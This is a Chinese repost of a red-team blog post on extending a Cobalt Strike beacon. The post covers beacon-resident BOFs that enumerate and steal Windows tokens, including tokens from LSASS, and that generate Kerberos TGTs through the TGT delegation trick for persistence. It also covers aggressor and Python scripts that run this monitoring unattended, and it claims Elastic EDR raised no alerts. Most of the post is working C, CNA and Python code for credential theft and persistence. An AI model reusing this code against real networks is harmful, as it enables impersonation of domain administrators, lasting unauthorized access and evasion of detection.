监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化

admin 2025年1月6日19:01:13评论8 views字数 9775阅读32分35秒阅读模式

Monitor Cobalt Strike beacon for Windows tokens and gain Kerberos persistenc

在最近的一次渗透测试中,我和团队成员成功入侵了一台连接着一些高权限用户的 Windows 服务器。由于 EDR 会检测到我们从 lsass.exe 提取凭据的行为,我们不想冒这个风险,因此决定滥用 Windows 令牌来在网络中横向移动。

我们很快发现了一个有价值用户的 Windows 令牌,但这个令牌无法使用。第二天,我们很幸运地发现另一个通过 RDP 连接的高权限用户,我们成功模拟了该用户并以其身份生成了 Kerberos 票据。

但如果用户在我们下班时间连接并登出了呢?我们就会错过这个机会。于是我想到了定期监控 Windows 令牌的想法,并开始寻找现有的工具。

首先,我建议阅读 sensepost[1] 上关于 Windows 令牌的文章。

其次,我不是 Windows 专家,对 Windows 令牌的很多方面仍然不太清楚,如果我有遗漏,请告诉我。

枚举 Windows 令牌

Cobalt Strike 允许操作员列出进程和相关的令牌。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
CobaltStrike 进程

然而,如果我们不介意打开 lsass.exe 的句柄,这种方式会遗漏一些令牌。LSASS 进程为每个使用交互式登录(例如本地认证或 RDP)连接的用户持有一个 PrimaryToken,所以我也想要能够显示和窃取这些令牌。

在 sensepost 的博客文章中,附带了一个名为 Impersonate[2] 的工具,它通过遍历所有可用句柄来枚举 Windows 令牌,复制句柄并存储相关的 Windows 令牌。

我重用了代码库来创建一个用于枚举所有 Windows 令牌的 BOF

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
CobaltStrike BOF 枚举 Windows 令牌

并且可以使用 Cobalt Strike Beacon API 的 BeaconUseToken(HANDLE token) 来窃取特定的令牌。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
CobaltStrike BOF 使用 Windows 令牌

这很好,但我想要长期跟踪 Windows 令牌。

在 Beacon 内存中存储 Windows 令牌

在版本 4.8: (System) Call Me Maybe[3] 中实现了一个 Windows 令牌存储,基于 Henkru/cs-token-vault[4] BOF。

然而这个工具只允许操作员使用进程 ID 来窃取 Windows 令牌,所以我们错过了窃取 LSASS 进程中令牌的机会。

在发布版本 4.9: Take Me To Your Loader[5] 时,添加了几个 Beacon API。

DECLSPEC_IMPORT BOOL BeaconAddValue(constchar * key, void * ptr);DECLSPEC_IMPORT void * BeaconGetValue(constchar * key);DECLSPEC_IMPORT BOOL BeaconRemoveValue(constchar * key);

这些 API 允许我们在 Beacon 内存中保存指针并在之后检索它们。因此我使用以下代码创建了一个新的存储。

#include<Windows.h>#include"beacon.h"// ...#define TOKEN_STORE_NAME "tokenstore"// ...// structure from sense impersonate original tooltypedef struct _TOKEN {    HANDLE TokenHandle;    int TokenId;    USHORT ProcessId;    DWORD SessionId;    wchar_t Username[FULL_NAME_LENGTH];    wchar_t TokenType[TOKEN_TYPE_LENGTH];    wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH];    wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH];    struct _TOKEN* Next;} TOKEN, *PTOKEN;void go(char* args, int len){    PTOKEN TokenStore = NULL;    TokenStore = (PTOKEN)BeaconGetValue(TOKEN_STORE_NAME);    // TokenStore exists    if ( TokenStore )        BeaconPrintf(CALLBACK_OUTPUT, "Current TokenStore at 0x%p", TokenStore);    // No TokenStore    else        BeaconPrintf(CALLBACK_OUTPUT, "No TokenStore");    // Add an empty token to the linked list    AddTokenToList(&TokenStore, (TOKEN){ 0 });    // Save the store for the next time    // Save the pointer of the linked list head    BeaconAddValue(TOKEN_STORE_NAME, TokenStore);    return 0;}

通过将新的存储实现到模拟 BOF 中,我得到了以下结果

beacon> help custom-token-storeUse: custom-token-store monitor     custom-token-store show     custom-token-store use [id]     custom-token-store releaseUse 'custom-token-store monitor'to monitor new tokens and store them in the storeUse 'custom-token-store show'toonlyshow the current tokens in the storeUse 'custom-token-store use'to use a token in the storeUse 'custom-token-store release'free the store from Beacon memory

对于这个场景,我首先在只有 CRASHsadmin 这一个用户连接时监控令牌。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF 监控令牌
监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF 存储令牌

之后,域管理员通过 RDP 连接到服务器,我们再次运行监控。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF 监控令牌
监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF 存储令牌

如果我模拟属于 CRASHAdministrator 的主令牌。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF 存储令牌

然而,我注意到几分钟后,如果目标用户从其 RDP 会话注销,我泄露的 Windows 令牌就不能使用了。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化

同时,我偶然发现了GhostPack/Koh[6],它的目标也是窃取 Windows 令牌。该工具分为两部分:

  • 一个.NET 工具,作为 Koh 服务器监控新的 Windows 令牌并存储它们
  • 一个 BOF,作为 Koh 客户端通过命名管道与 Koh 服务器交互

在我这边工具运行良好,但当目标用户从 RDP 会话注销时我遇到了同样的问题:泄露的 Windows 令牌实际上不能再使用了。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
Koh 失败

此外,我想要一个只存在于 Beacon 内存中的解决方案,避免 fork&run 后渗透。

执行 Kerberos 持久化

我想要另一种方法来模拟用户,以防当我回来工作时属于该用户的 Windows 令牌不可用。我的想法是使用 TGT 委派技巧为custom-token-store中的每个用户生成 Kerberos 票据。

为此我使用了Kerberos-BOF[7]的代码,并将其集成到另一个使用我的令牌存储的 BOF 中。

对于这个新的 BOF,我使用这个结构来跟踪 Kerberos 票据。

#define TICKET_STORE_NAME"ticketstore"typedef struct_TICKET {UINT16TicketId;ULARGE_INTEGERTimestamp;WCHARUsername[FULL_NAME_LENGTH];LPSTRValue;struct_TICKETNext;TICKET, *PTICKET;

我们可以模拟 TokenStore 中的令牌并为用户生成 TGT 票据。

/* * Impersonate a token to generate a TGT ticket */BOOL GenerateTicket(PTOKEN Token, PTICKET Ticket){if ( Token->TokenHandle && Token->TokenHandle != INVALID_HANDLE_VALUE )    {// Impersonate the user        if ( BeaconUseToken( Token->TokenHandle ) )        {            // Try to generate the TGT via TGT deleg trick            Ticket->Value = TgtDeleg( NULL );            // Revert back            BeaconRevertToken();            if ( Ticket->Value != NULL )                return TRUE;        }    }    return FALSE;}

使用与之前相同的过程将 Kerberos 票据保存在tgtstore中。

// Loop over all the tokens in storewhile( CurrentToken ){    // we don't have a valid ticket for this username    if ( !ValidTicketInStore( CurrentToken->Username, TicketStore, Timestamp ) )    {        // We generate a new TGT        if ( GenerateTicket( CurrentToken, &TmpTicket ) )        {            // init the new ticket            MSVCRT$wcscpy_s( TmpTicket.Username, FULL_NAME_LENGTH, CurrentToken->Username );            TmpTicket.Timestamp = Timestamp;            TmpTicket.TicketId = ++LastTicketId;            // add the new ticket to the store            PRINT_OUT( "Add ticket to store (%ls)n", TmpTicket.Username );            AddTicketToStore( &TicketStore, TmpTicket );        }    }    CurrentToken = CurrentToken->Next;}// save the TGT storeBeaconAddValue( TICKET_STORE_NAME, TicketStore );

当我们使用 BOF 时。

beacon> help tgt-storeUse: tgt-store generate     tgt-store show [id]     tgt-store releaseUse 'tgt-store generate'to generate new TGT based on token in custom-token-storeUse 'tgt-store show'toonlyshow the current TGTs in the store or a specific TGTUse 'tgt-store release'free the store from Beacon memory
监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF TGT generate
监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
BOF TGT show

如果你已经阅读到这里,你可能已经注意到 Windows 令牌的监控和 Kerberos 票据的生成需要操作员手动执行 BOF 命令。我们希望这些操作能够在后台执行,甚至在非工作时间也能运行。

Cobalt Strike beacon 监控

在我的研究过程中,我发现了CobaltStrike/sleep_python_bridge[8],它利用了 Cobalt Strike 的无头客户端agscript

这个无头客户端允许加载 CNA 并执行 aggressor 命令。

在 CNA 端,我创建了 aggressor 命令start-token-monitoring,它将执行转发给bstart_monitoring。为了将参数从一个函数/命令转发到另一个,我参考了这篇博客文章[9]

sub bstart_monitoring {@_= flatten(@_);$i=1; #iterator    foreach $arg (@_){ #Loop through all of our args        eval("local('$" . $i . "')") #Declare our variable in the local scope        eval("$$i = "$arg";") #Use eval to dynamically define each of our numbered args$i++;    }$bid=$1;$handle= openf(script_resource("Release/custom-token-store." . barch($bid) . ".o"));$data= readb($handle-1);    closef($handle);    btask($bid"Start token monitoring");$arg_data= bof_pack($bid"ii"10);    beacon_inline_execute($bid$data"go"$arg_data);}// this is the command we can launch through the Script Consolecommand start-token-monitoring {    // forward the arguments (only the beacon ID here)    bstart_monitoring(@_)}

使用 aggressor 的效果如下所示。

监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
Agressor monitoring

在 Python 脚本方面,第一个概念验证 (PoC) 代码如下所示。

from sleep_python_bridge.striker import CSConnector## Connectto serverprint("[*] Connecting to teamserver {}:{}...".format(args.host, args.port))with CSConnector(    cs_host=args.host,     cs_port="50050",     cs_user=args.username,     cs_pass=args.password,    cs_directory=args.path) as cs:    # include the adequate CNA for token + TGT stores    # WARNING: I faced issue if the CNA path isnot absolute    cs.ag_load_script(f"{args.token_store}/custom-token-store.cna")    cs.ag_load_script(f"{args.tgt_store}/tgt-store.cna")    # execute the agressor command `start-token-monitoring`    # incase the command isnot launched, print the returnvalueof ag_get_string()    # if the command isnot found, check the WARNING above    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)    # execute the agressor command `start-tgt-monitoring`    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")

然后我使用了fwkz/riposte[10]这个工具,它可以让我在团队服务器主机上通过 tmux 非常方便地运行命令。

from sleep_python_bridge.striker import CSConnectorfrom argparse import ArgumentParserfromtime import sleepfrom riposte import Ripostefrom prettytable import PrettyTablefrom threading import Threadclass CustomRiposte(Riposte):    def setup_cli(self):        return    def parse_cli_arguments(self):        returncs = Nonecsshell = CustomRiposte(prompt="cobaltstrike> ")monitorings = []class Monitoring:    thread = None    beacon_id = None    running = False    sleep_time = 0    def __init__(self, beacon_id, running, sleep_time):        self.beacon_id = beacon_id        self.running = running        self.sleep_time = sleep_timedef start_cs_monitoring(monitoring):    cs.ag_get_string(f"bsleep({monitoring.beacon_id},{monitoring.sleep_time})")    while monitoring.running:        # token monitor        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)        # tgt generate        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")sleep(monitoring.sleep_time)@csshell.command("beacons")def list_beacons():    table = PrettyTable(["ID""USER""COMPUTER""PID""NOTE"])    for beacon in cs.get_beacons():        table.add_row([beacon['id'], beacon['user'], beacon['computer'], beacon['pid'], beacon['note']])print(table)@csshell.command("start-monitoring")def start_monitoring(beacon_id: str, sleep_time: int):    monitoring = Monitoring(beacon_id=beacon_id, sleep_time=sleep_time, running=True)    t = Thread(target=start_cs_monitoring, args=(monitoring,))    monitoring.thread = t    t.start()    csshell.success("Start a monitoring for beacon {} each {} seconds".format(beacon_id, sleep_time))    monitorings.append(monitoring)@csshell.command("stop-monitoring")def stop_monitoring(beacon_id: str):    for monitoring in monitorings:        if monitoring.beacon_id != beacon_id:            continue        monitoring.running = False        monitoring.thread.join()        csshell.success("Monitoring for beacon {} stopped".format(beacon_id))        monitorings.remove(monitoring)

运行我的脚本看起来是这样的。

你可能已经注意到 BOF 会打印出 TGTs 的完整值,这是为了在 beacon 因任何原因退出时保持 Kerberos 持久性。

检测

我在运行了 Elastic EDR 代理的 Windows Server 2019 上运行监控工具,没有触发任何警报。

参考资料

[1] 

sensepost: https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/

[2] 

Impersonate: https://github.com/sensepost/impersonate/

[3] 

4.8: (System) Call Me Maybe: https://www.cobaltstrike.com/blog/cobalt-strike-4-8-system-call-me-maybe

[4] 

Henkru/cs-token-vault: https://github.com/Henkru/cs-token-vault

[5] 

4.9: Take Me To Your Loader: https://www.cobaltstrike.com/blog/cobalt-strike-49-take-me-to-your-loader

[6] 

GhostPack/Koh: https://github.com/GhostPack/Koh

[7] 

Kerberos-BOF: https://github.com/RalfHacker/Kerbeus-BOF/blob/main/tgtdeleg/tgtdeleg.c

[8] 

CobaltStrike/sleep_python_bridge: https://github.com/Cobalt-Strike/sleep_python_bridge/

[9] 

这篇博客文章: https://passthehashbrowns.github.io/cobalt-strike-aliases-kinda

[10] 

fwkz/riposte: https://github.com/fwkz/riposte

原文始发于微信公众号(securitainment):监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日19:01:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化https://cn-sec.com/archives/3597593.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息